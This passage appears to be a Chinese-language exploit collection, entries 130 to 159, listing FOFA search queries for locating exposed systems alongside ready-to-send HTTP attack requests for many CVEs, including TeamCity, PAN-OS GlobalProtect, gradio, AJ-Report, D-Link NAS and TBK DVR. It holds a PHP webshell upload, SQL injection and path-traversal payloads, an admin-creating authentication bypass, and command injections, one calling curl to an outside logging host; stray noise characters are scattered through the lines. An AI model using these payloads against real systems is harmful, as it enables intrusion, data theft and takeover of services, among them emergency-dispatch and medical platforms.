! E( s# R/ F2 t6 S1 v# F) D7 q7 MGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
( d! {8 z# a% {8 Y, Q0 SAccept-Encoding: gzip, deflate
1 F0 S6 F$ R4 v" R9 a& kConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

0 S- z7 B5 h& F9 ?
130. Laykefu客服系统任意文件上传
+ h$ m. c" H9 qFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
: q* e& Y. |: N/ g# |0 e: XHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
' f7 O1 [" W9 Y* S# S- D+ jContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
( \) A% M7 [# }" {: P, Y9 X; aAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
& F& r0 ~' \1 Y3 [
" X6 r# D. A9 B7 W+ R7 _. x------WebKitFormBoundary3OCVBiwBVsNuB2kR
4 e) z" ?/ Q2 ~( n/ C' _9 eContent-Disposition: form-data; name="file"; filename="1.php"
: o9 _/ S. f: z  LContent-Type: image/png
& l3 Z8 s, {5 K2 i) A% k
<?php phpinfo();@eval($_POST['sec']);?>
' F/ g5 E) @6 [: d) B- ]/ B1 l------WebKitFormBoundary3OCVBiwBVsNuB2kR--

3 |' u3 ?( x- o% u% t3 F- J
131. Mini-Tmall <=20231017 SQL注入
) |* m2 K- U/ i' n' SFOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
8 y. J3 K1 Y' n$ g
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
1 s! I5 E5 a3 ]8 R6 ~) X  S( z% XCVE-2024-27198
; c' }! b8 \$ NFOFA：body="Log in to TeamCity"
5 z! F; N7 x$ B6 f* CPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
6 n- F; v8 V5 d6 n6 s+ ~Host: 192.168.40.130:8111
) y! x, v4 @5 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
3 N  U) ^2 F! N+ FAccept: */*
! T' ~2 `3 F8 jContent-Type: application/json
: D8 `1 x- c8 y  A1 q; nAccept-Encoding: gzip, deflate

& N' x) o- L8 I5 d{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
/ c! c8 |, o- ~1 u
7 S- @% X% X! v
CVE-2024-27199
/res/../admin/diagnostic.jsp
0 Q! G0 L: |! Q) f9 y; t/.well-known/acme-challenge/../../admin/diagnostic.jsp
% l' v# t% I5 w, e" f/update/../admin/diagnostic.jsp

% z  v/ p* X' t8 {/ K
% u2 w9 {9 m( E3 ~CVE-2024-27198-RCE.py
% K+ X' D$ z& X' h/ P
5 @  [$ p8 f1 G/ n+ m9 }3 z3 g133. H5 云商城 file.php 文件上传
6 v: M& g0 p  o6 PFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
. y# d' y7 f6 |/ L, ?" A/ r# IHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 B8 s5 l+ `& W( @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
' C( e$ N6 P3 p7 D
1 k# c9 u3 L0 `' Q------WebKitFormBoundaryFQqYtrIWb8iBxUCx
9 m9 l  f  ?: b" C2 zContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
, Y0 J  I. l. n% K/ J
<?php system("cat /etc/passwd");unlink(__FILE__);?>
' B9 N* ]) @; M# q2 e/ W------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
. N7 ?% k- {" ]  E3 L" d* R

$ m( u/ |; z/ j5 I; l
. x" j, ?* S* q" t7 \6 A/ f134. 网康NS-ASG应用安全网关index.php sql注入
2 v4 ~: n2 U+ A5 _0 x- K6 \, gCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
1 f" R2 ^1 N/ p5 U2 _FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
7 g, y0 w) y% n3 t8 GCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
( l0 Q1 s( a! I9 J# z$ {/ eAccept: */*
, M. M  m# |! P! _& R, V! k6 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Z- T9 z& u0 n. S. T# f9 rAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
4 {7 R# w! _5 r1 O0 w9 y# OSec-Fetch-Site: same-origin
Te: trailers
+ y& m, _' S& f+ a& ^5 sConnection: close
0 O! [2 E; t4 E  o" ?Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
8 \- p7 t# ~* F7 S1 n9 D

3 x0 ^5 R2 N* ]9 ?  o! t& i135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
/ D- m; M) J7 LCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
8 ]4 {7 d# a) E- aFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) V; e6 V, D0 a4 r; n  aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( y! A7 ^( J# ?+ U+ rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 F+ k6 j1 U5 g! H7 n
- U9 w& h6 F1 E0 h. e' O
136. NextChat cors SSRF
8 W& n2 b% G) n, V5 a& X+ GCVE-2023-49785
  h' C3 }( h$ `9 j' Q  b& I; x! PFOFA：title="NextChat"
3 {$ P6 ~3 M3 f1 K6 {( c. T7 CGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
  K6 g% z" g/ B% ?5 NHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  E# x1 T" f1 ZConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 O( T% N  J, P! ]GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
" K% ~8 n/ N: p6 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
4 U* C6 V7 {" e& a* Z5 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' j7 T" j. M* i" |: @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 Y% C4 w" M. A& C% j4 y/ IAccept-Encoding: gzip, deflate, br
Connection: close
1 L" }8 A# |4 T3 u7 y' bCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
& E8 b: Z: J* R. G7 t' e8 a$ PUpgrade-Insecure-Requests: 1
% D* W9 F1 \2 w( H
' D3 U1 u0 R' D+ s( r( N
" b; h  Q8 B+ O% c2 [  I* ~3 O138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
2 q3 L; h- ~5 M2 d; Q" _, L& rCVE-2024-2621
8 S3 _9 w% \; F* N2 O; `  ZFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; S( p7 M- m/ V( VGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
. y3 o0 |3 ^' v" Q; [$ R) DHost: x.x.x.x
# }, ]+ p, i$ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* y+ Q' P; O& T" z, ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& J1 G# o7 @' F4 }4 VAccept-Encoding: gzip, deflate, br
* d7 N* b+ v- q, o# V" @4 K- uConnection: close
Upgrade-Insecure-Requests: 1

$ j+ i3 S* \# K% [/ H- l
  n% k' M2 a+ ~/ l, H+ p139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 F! @% v! F  {+ w( S! J& h+ dConnection: close
; z" ~- w5 _1 @: @3 G/ p) e. B5 OCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
& \- d. L2 C5 Z- l  |( W$ wUpgrade-Insecure-Requests: 1
1 s7 w* `: _* Z0 k  }
7 N0 R4 g  a# `9 x
' U8 m2 x1 ~. {140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
4 \1 y1 k7 y5 a& V' EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, H7 ~& I, Z7 q% yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
/ x( Q6 x0 G  g4 [. q1 X4 L! yUpgrade-Insecure-Requests: 1

& f3 f4 j3 b+ R4 v
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
/ o7 c" r& Z4 Z  zFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
& j4 G+ B* H9 K2 ZUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
0 T! Q" \1 _/ R0 v% iContent-Type: application/x-www-form-urlencoded
  x4 ]4 x: y- ?/ p0 R" f, `

0 \0 D( S- K: v& ~dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
: ?2 a4 l+ d6 E/ Y6 x4 B

$ a- G! I- ^+ O  z142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
4 F" ]1 b8 R* j% n8 oadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
: g2 `7 D; z! l8 L- i+ i5 P' MFOFA：title='AP setup' && header='netis'
PAYLOAD
3 _$ i% I) L: p. `
; S( u2 v; @4 h1 G144. D-Link nas_sharing.cgi 命令注入
8 i7 J0 K- R8 ?6 }' h: z+ m" ]FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
; [% q' D- H- C5 c3 y; I: ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
5 f6 j( q4 n7 ~! t- }9 V6 }Accept-Encoding: gzip


' n& G) n! a- w: x145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
$ j* D7 m/ n7 ~. C6 HCVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
. \; |6 ?( @  U8 jHost: 192.168.30.112:1005
0 x% O: S, Q; z; N' gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
+ Y1 x& X/ S* g, E% L0 w* \8 VConnection: close
4 y# g8 K, T' s8 w# f4 Z& JCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip

5 _6 W% d- w5 A
( ^5 t* {0 g( n# O5 P' o6 g6 O146. MajorDoMo thumb.php 未授权远程代码执行
7 A1 L, X# H* S; s# q& _! QCNVD-2024-02175
8 z. R/ z4 g3 C2 @FOFA：app="MajordomoSL"
+ Q$ \$ T0 P3 N2 U. rGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
' }1 N2 u1 P( }+ [8 E$ {Accept-Encoding: gzip, deflate
Connection: close

& |# D: j  u+ L/ y! {1 j# P
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
4 \* U! f7 p" l$ R' PCVE-2024-32399
+ C0 J& E  D" k, }FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
; p* a3 I7 z% K; R( T6 X: [" j0 K/ _Cache-Control: max-age=0
1 C3 P1 n/ c$ k- o" M; JConnection: close


( S6 ]  D/ B8 P& e2 {4 ^. P( k: a9 ?- K148. CrushFTP 认证绕过模板注入
/ O9 B5 x7 g6 i; Q" ^) MCVE-2024-4040
9 K: Q# q6 y! ~* Q# |FOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
1 ?- J/ w, ~. V4 g! w! vFOFA：title="AJ-Report"

* \6 k( S/ O" s. |: n$ W/ G0 s" F( R3 Q5 lPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
% W: }; {/ I; {$ PConnection: close

+ w6 G6 e7 u, ?# u4 q! S, h* B+ s{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
1 \$ I2 Z$ ]4 l$ B( ?
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
3 q6 y5 u+ A  ]/ w6 X7 r/ S! W: _1 }POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
# e7 b( ^7 w& ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 V7 l9 @+ [6 x0 l- ^, c% x: ^) ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
+ x) q0 |) e+ @+ kContent-Length: 339
  j" ~% ~5 k5 b: _
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

' E# g$ ?2 I9 k5 X* _4 q
0 K: l# `2 G5 `5 W' ^151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
" `8 _  B: S8 ]7 \GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
9 Z9 R% s, d9 {; M1 B/ b6 S% BHost: x.x.x.x
9 F$ w5 I+ T  {4 k9 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" Z+ ~5 R; X. p) t# e% ZConnection: close
, z* r( ?- Z% c9 e: OAccept-Encoding: gzip
! V: ^' {# D! V* J

152. Progress Kemp LoadMaster 远程命令执行
2 a( [! n8 \" Q( V  Y1 x7 J! uCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
3 J4 a; X2 ~+ D# lLoadMaster <= 7.2.48.10 (LTS)
0 U5 l2 Z$ `9 \5 z# E: }FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
/ D5 l- `1 k/ H1 x9 z/ LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
+ ~0 m9 t/ n5 P  @- fAccept: */*
- V" w! ^  }% k2 W* a3 V8 IAccept-Language: en
4 a. d0 M4 s+ [$ B  ZAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
- {6 h/ F  h! f3 w9 I

/ p. q1 {% G. H" S153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
; e1 q* H, r) U8 J, N  e  ~4 Q第一步，请求/config文件获取componets的id
, H5 T  d5 T3 {: ^7 o. ]1 ahttp://x.x.x.x/config

" G% W' _' \+ r+ `% e, x* C
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
+ v) C! Q* F/ V. N6 @+ NHost: x.x.x.x
- _6 Z' p# K: f, q- E" M" uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
" N- Q# V. e3 h1 e6 I$ IConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
$ C% a$ x: F# M2 T1 d. @: s) i3 q/ c
* |  L7 l; o- Q2 k" R" J
0 K8 f2 V% @/ g0 ^* C. `3 U& x第三步访问
7 \1 u+ R. K* E# C+ m# V) [0 `http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
$ v) ?* h5 q* Z" o3 G4 F& Q
. [: u1 \& [4 ]; I$ F7 I
& D$ A2 p7 X/ Q154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
9 D6 {" \! E7 m2 FHost: x.x.x.x
. @  R% [5 L% x2 SContent-Length: 106
+ T7 N& o! x/ c; K4 K  u) W0 fCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
! W. u( P) ^* ?  D& DOrigin: http://x.x.x.x
* K7 f8 }! p, z( nContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
* d; ~' M4 h3 l; R2 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
( v9 w7 }2 j+ bAccept-Encoding: gzip, deflate
" f( a( ^* Q# C+ K2 Q/ d. `Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
5 g+ G1 z' W" M/ t$ O

' X- Y5 l6 h! e7 W1 j5 u155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
" X6 i5 t. b+ e$ qFOFA：title=="上网导航 - LyLme Spage"
( O9 O3 j+ L0 [7 hPOST /include/file.php HTTP/1.1
$ K* F7 }& k3 S; kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
. \8 o; Z/ A- AContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
; r: [3 u7 Z* E! n% ~: T) [( o% ^Accept-Encoding: gzip, deflate, br
9 \: k7 B( z4 P5 D; J% i& b9 y! f4 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
9 @! [% O. U7 ]+ R  ~
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
/ E  z) J" X2 J+ [Content-Type: image/png

  M. J2 V) s- x8 a<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
) F2 s+ Y/ x8 W0 y

9 e# s: X+ O6 M7 P访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
5 U2 Q9 X* B5 Q. Q# B. R
' u& {# z* c, }2 b; f9 M* r156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ W1 F- v( I7 h/ mCVE-2024-3721
% K; c' Q4 W# j6 B- u3 m+ IFOFA："Location: /login.rsp"
5 h7 f: g- g% o/ E6 D7 |* v·TBK DVR-4104
- k6 E3 n: `0 @: C4 n·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# h- H8 v* P8 E, |) B1 Q( S
2 s% m8 s" o! j/ ^
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
" ~, ~) o" [' Z" j8 f: \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
' n) B( k1 I5 r6 j/ Z, ~3 m0 @  kAccept-Encoding: gzip

% I1 L3 ]4 Z  w# Q. r4 Q
3 f& i& p9 O& i/ a( f157. 美特CRM upload.jsp 任意文件上传
% C( l6 F5 z% [CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
) v0 C* @) S% Q/ s4 s* kPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
" O1 p" r6 J+ @# Q" GContent-Length: 709
2 E8 N+ x( \* W0 g4 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 y7 H( Z! m! F; y4 Y! U# Q0 PAccept-Encoding: gzip, deflate
0 P! H4 @/ W/ l# f$ \Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
( k4 R. g- _# X7 |$ A! B5 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

3 j, `2 y/ k9 H8 a5 P$ r. b------WebKitFormBoundary1imovELzPsfzp5dN
0 ?! i8 O, r+ V. N2 NContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

; `1 J- L* Q1 E8 P/ Cnyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

" V; F/ ~1 Z  z: Anull
5 J$ _3 h- d7 A------WebKitFormBoundary1imovELzPsfzp5dN
1 y, z: [: P& h& x5 r8 E' ?Content-Disposition: form-data; name="field"

- X& T8 _8 |# S# p% Anull
9 T; L$ b. P8 a------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
+ l+ T: F1 P1 \- P
null
/ n" w% h( p2 k& E  h------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
, y* i2 m% e9 w) j) J

$ Z- Q! h3 S' whttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

: N$ Q! t5 m2 p) a( Q158. Mura-CMS-processAsyncObject存在SQL注入
( R2 @" i' W' P) J9 \% e5 PCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 n/ ^& s3 w; u0 DHost: {{Hostname}}
; I9 U+ y* h( g6 R$ l+ ~Content-Type: application/x-www-form-urlencoded
. o& N, Q+ O7 |# z: }  P) }
9 u3 `: ~  Q: Q7 C! l' n5 Q& dobject=displayregion&contenthistid=x\'&previewid=1
9 p# h8 @0 w/ l7 B* g. K" V1 j* t
9 ?9 d) B& u0 S9 g6 G$ a
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
7 n% I$ z2 }- Q1 d+ K" c- sFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
; M  @6 o; f0 u( J' YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
6 S# J) R( W# h) L1 R  X; UContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
5 e4 \4 \9 [4 G6 U
' K. X3 _% R# a8 P8 r  t. n8 S<?xml version="1.0" encoding="utf-8"?>
* F  o* G7 H  g' n  _3 k: B) b<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
